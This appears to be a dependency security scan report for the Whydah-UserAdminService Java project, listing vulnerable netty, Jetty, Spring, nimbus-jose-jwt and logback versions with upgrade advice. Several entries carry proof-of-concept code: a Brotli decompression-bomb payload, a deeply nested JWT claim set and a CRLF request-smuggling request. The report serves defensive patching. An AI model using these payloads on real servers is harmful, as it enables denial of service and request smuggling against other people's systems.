Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the verifyContinuationFrame function. An attacker can cause excessive CPU consumption and render the server unresponsive by sending a large number of zero-byte CONTINUATION frames, bypassing existing size-based mitigations.
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.132.Final, 4.2.10.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: com.azure:azure-identity@1.15.4
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http2@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.0.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http2@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.1.
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.
PoC
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.125.Final or higher.
References
high severity
- Vulnerable module: org.eclipse.jetty:jetty-server
- Introduced through: org.eclipse.jetty:jetty-server@12.1.4, org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 and others
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty:jetty-server@12.1.6.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.6.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-security@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.6.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-session@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.6.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty:jetty-session@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.6.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.6.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty.ee:jetty-ee-webapp@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.6.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-security@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.6.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-session@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.6.
Overview
org.eclipse.jetty:jetty-server is a lightweight highly scalable java based web server and servlet engine.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the GzipHandler process when handling a compressed HTTP request with Content-Encoding: gzip and the response is not deflated (no Accept-Encoding: gzip). An attacker can cause resource exhaustion by sending specially crafted requests that trigger repeated allocation of JDK Inflater objects without proper release.
Remediation
Upgrade org.eclipse.jetty:jetty-server to version 12.0.32, 12.1.6 or higher.
References
high severity
new
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.springframework:spring-web@6.2.14
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-web@6.2.14Remediation: Upgrade to org.springframework:spring-web@6.2.18.
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Incomplete Cleanup via multipart request handling in WebFlux. An attacker can exhaust disk space by sending multipart requests with large parts that trigger creation of temporary files, which under certain conditions are not deleted after the request completes, leading to accumulation of temp files and denial of service.
Remediation
Upgrade org.springframework:spring-web to version 6.2.18, 7.0.7 or higher.
References
medium severity
- Vulnerable module: com.nimbusds:nimbus-jose-jwt
- Introduced through: com.azure:azure-identity@1.15.4
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.microsoft.azure:msal4j@1.19.1 › com.nimbusds:oauth2-oidc-sdk@11.23 › com.nimbusds:nimbus-jose-jwt@10.0.1Remediation: Upgrade to com.azure:azure-identity@1.16.3.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.microsoft.azure:msal4j-persistence-extension@1.3.0 › com.microsoft.azure:msal4j@1.19.1 › com.nimbusds:oauth2-oidc-sdk@11.23 › com.nimbusds:nimbus-jose-jwt@10.0.1
Overview
com.nimbusds:nimbus-jose-jwt is a library for JSON Web Tokens (JWT)
Affected versions of this package are vulnerable to Uncontrolled Recursion due to the improper handling JWT claim sets containing deeply nested JSON objects. An attacker can cause application downtime or resource exhaustion by submitting a specially crafted JWT with excessive nesting.
Note:
This issue only affects nimbus-jose-jwt, not Gson because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.
PoC
import com.nimbusds.jwt.JWTClaimsSet;
import java.text.ParseException;
import java.util.HashMap;
import java.util.Map;
public class Test {
// This builds a claimset with a deeply nested map, which could theoretically be supplied by a client.
// If the JWT is serialized into JSON (for example, in logging or debugging), it can cause a StackOverflowError.
public static void main(String[] args) throws ParseException {
Map<String, Object> nestedMap = new HashMap<>();
Map<String, Object> currentLevel = nestedMap;
for (int i = 0; i < 5000; i++) {
Map<String, Object> nextLevel = new HashMap<>();
currentLevel.put("", nextLevel);
currentLevel = nextLevel;
}
JWTClaimsSet claimSet = JWTClaimsSet.parse(nestedMap);
// This will cause a StackOverflowError due to excessive recursion in GSON's serialization
claimSet.toString();
}
}
Remediation
Upgrade com.nimbusds:nimbus-jose-jwt to version 9.37.4, 10.0.2 or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: com.azure:azure-identity@1.15.4
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.2.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http2@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.2.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-handler-proxy@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.2.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.3.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http2@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.3.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.projectreactor.netty:reactor-netty-core@1.0.48 › io.netty:netty-handler-proxy@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.3.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to CRLF Injection in HttpRequestEncoder, due to improper sanitization of a URI with line-breaks in the DefaultHttpRequest class. An attacker can manipulate HTTP requests to cause parser desynchronization, request smuggling, and response splitting by including line break characters in requests.
PoC
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.129.Final, 4.2.8.Final or higher.
References
medium severity
new
- Vulnerable module: org.springframework:spring-core
- Introduced through: org.springframework:spring-core@6.2.14, org.springframework:spring-beans@6.2.14 and others
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-core@6.2.14Remediation: Upgrade to org.springframework:spring-core@6.2.18.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-beans@6.2.14 › org.springframework:spring-core@6.2.14Remediation: Upgrade to org.springframework:spring-beans@6.2.18.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-aop@6.2.14 › org.springframework:spring-core@6.2.14Remediation: Upgrade to org.springframework:spring-aop@6.2.18.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-context@6.2.14 › org.springframework:spring-core@6.2.14Remediation: Upgrade to org.springframework:spring-context@6.2.18.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-web@6.2.14 › org.springframework:spring-core@6.2.14Remediation: Upgrade to org.springframework:spring-web@6.2.18.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-aop@6.2.14 › org.springframework:spring-beans@6.2.14 › org.springframework:spring-core@6.2.14Remediation: Upgrade to org.springframework:spring-aop@6.2.18.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-context@6.2.14 › org.springframework:spring-beans@6.2.14 › org.springframework:spring-core@6.2.14Remediation: Upgrade to org.springframework:spring-context@6.2.18.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-web@6.2.14 › org.springframework:spring-beans@6.2.14 › org.springframework:spring-core@6.2.14Remediation: Upgrade to org.springframework:spring-web@6.2.18.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-context@6.2.14 › org.springframework:spring-aop@6.2.14 › org.springframework:spring-core@6.2.14Remediation: Upgrade to org.springframework:spring-context@6.2.18.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-context@6.2.14 › org.springframework:spring-expression@6.2.14 › org.springframework:spring-core@6.2.14Remediation: Upgrade to org.springframework:spring-context@6.2.18.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-context@6.2.14 › org.springframework:spring-aop@6.2.14 › org.springframework:spring-beans@6.2.14 › org.springframework:spring-core@6.2.14Remediation: Upgrade to org.springframework:spring-context@6.2.18.
Overview
org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via static resource resolution. An attacker can cause denial of service by sending crafted requests that are slow to resolve when accessing file-system-backed static resources, causing HTTP connections to remain occupied and exhausting server resources.
Note: This is only exploitable if all the following are true:
The application uses Spring MVC or Spring WebFlux.
Static resources are served from the file system.
The application is running on Windows.
Remediation
Upgrade org.springframework:spring-core to version 6.2.18, 7.0.7 or higher.
References
medium severity
new
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: com.azure:azure-identity@1.15.4
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http@4.1.118.Final
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http2@4.1.118.Final › io.netty:netty-codec-http@4.1.118.Final
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-handler-proxy@4.1.118.Final › io.netty:netty-codec-http@4.1.118.Final
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http@4.1.118.Final
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http2@4.1.118.Final › io.netty:netty-codec-http@4.1.118.Final
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.projectreactor.netty:reactor-netty-core@1.0.48 › io.netty:netty-handler-proxy@4.1.118.Final › io.netty:netty-codec-http@4.1.118.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the setUri function. An attacker can inject arbitrary CRLF sequences into the HTTP or RTSP request line by supplying crafted input to setUri, leading to the creation of additional requests or manipulation of request boundaries when the object is serialized by HttpRequestEncoder or RtspEncoder. This can result in request smuggling, desynchronization, or unauthorized access to internal APIs if attacker-controlled input is passed to setUri and subsequently encoded.
Note:
This is only exploitable if all of the following conditions are met:
The application uses
DefaultHttpRequestorDefaultFullHttpRequest;The request object is created first and later modified through
setUri();The value passed into
setUri()is attacker-controlled or attacker-influenced;The object is eventually serialized by
HttpRequestEncoderorRtspEncoder.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.
References
medium severity
- Vulnerable module: org.eclipse.jetty:jetty-server
- Introduced through: org.eclipse.jetty:jetty-server@12.1.4, org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 and others
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty:jetty-server@12.1.5.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.5.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-security@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.5.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-session@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.5.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty:jetty-session@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.5.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.5.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty.ee:jetty-ee-webapp@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.5.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-security@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.5.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-session@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.5.
Overview
org.eclipse.jetty:jetty-server is a lightweight highly scalable java based web server and servlet engine.
Affected versions of this package are vulnerable to Interpretation Conflict due to inconsistent handling of invalid or unusual URIs in the parse() function on HttpURI.java. An attacker can bypass security controls or access restricted resources by crafting specially formatted URIs that are interpreted differently by various system components.
Remediation
Upgrade org.eclipse.jetty:jetty-server to version 12.0.31, 12.1.5 or higher.
References
medium severity
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: ch.qos.logback:logback-classic@1.5.18
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › ch.qos.logback:logback-classic@1.5.18 › ch.qos.logback:logback-core@1.5.18Remediation: Upgrade to ch.qos.logback:logback-classic@1.5.19.
Overview
ch.qos.logback:logback-core is a logback-core module.
Affected versions of this package are vulnerable to External Initialization of Trusted Variables or Data Stores via the conditional processing of the logback.xml configuration file when both the Janino library and Spring Framework are present on the class path. An attacker can execute arbitrary code by compromising an existing configuration file or injecting a malicious environment variable before program execution. This is only exploitable if the attacker has write access to a configuration file or can set a malicious environment variable.
Remediation
Upgrade ch.qos.logback:logback-core to version 1.3.16, 1.5.19 or higher.
References
medium severity
new
- Module: ch.qos.logback:logback-classic
- Introduced through: ch.qos.logback:logback-classic@1.5.18
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › ch.qos.logback:logback-classic@1.5.18
Dual license: EPL-1.0, LGPL-2.1
medium severity
new
- Module: ch.qos.logback:logback-core
- Introduced through: ch.qos.logback:logback-classic@1.5.18
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › ch.qos.logback:logback-classic@1.5.18 › ch.qos.logback:logback-core@1.5.18
Dual license: EPL-1.0, LGPL-2.1
medium severity
new
- Module: org.jboss.logging:jboss-logging-processor
- Introduced through: org.jboss.weld.se:weld-se-core@5.1.5.Final
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.jboss.weld.se:weld-se-core@5.1.5.Final › org.jboss.weld:weld-lite-extension-translator@5.1.5.Final › org.jboss.logging:jboss-logging-processor@2.2.1.Final
LGPL-3.0 license
low severity
- Vulnerable module: io.projectreactor.netty:reactor-netty-http
- Introduced through: com.azure:azure-identity@1.15.4
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48Remediation: Upgrade to com.azure:azure-identity@1.17.0.
Overview
Affected versions of this package are vulnerable to Exposure of Sensitive System Information to an Unauthorized Control Sphere via handling of chained redirects. An attacker can cause the Reactor Netty HTTP client to leak credentials such as session cookies by intercepting initial HTTP/1.1 requests containing and replaying them on new HTTP/2 connections.
Notes:
- For this to be exploited, the HTTP client must have been explicitly configured to follow redirects.
- For the commercial version of Spring, patches are also available for the 1.0.x and 1.1.x streams in 1.0.49 and 1.1.32 respectively.
Remediation
Upgrade io.projectreactor.netty:reactor-netty-http to version 1.2.8, 1.3.0-M5 or higher.
References
low severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.springframework:spring-web@6.2.14
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.springframework:spring-web@6.2.14Remediation: Upgrade to org.springframework:spring-web@6.2.17.
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'). The vulnerability exists in the handling of Server-Sent Events (SSE) when streaming plain text data. An attacker can inject crafted data into the event stream, breaking message boundaries and corrupting the stream delivered to other clients. By controlling streamed content, an attacker can manipulate how subsequent events are parsed by the client, potentially altering application state or injecting misleading data.
Note:
This is only exploitable if the application streams attacker-controlled data via SSE using unstructured/plain-text messages instead of a structured format (e.g., JSON).
Remediation
Upgrade org.springframework:spring-web to version 6.2.17, 7.0.6 or higher.
References
low severity
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: ch.qos.logback:logback-classic@1.5.18
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › ch.qos.logback:logback-classic@1.5.18 › ch.qos.logback:logback-core@1.5.18Remediation: Upgrade to ch.qos.logback:logback-classic@1.5.25.
Overview
ch.qos.logback:logback-core is a logback-core module.
Affected versions of this package are vulnerable to External Initialization of Trusted Variables or Data Stores during the configuration file processing. An attacker can instantiate arbitrary classes already present on the class path by compromising an existing configuration file.
Remediation
Upgrade ch.qos.logback:logback-core to version 1.5.25 or higher.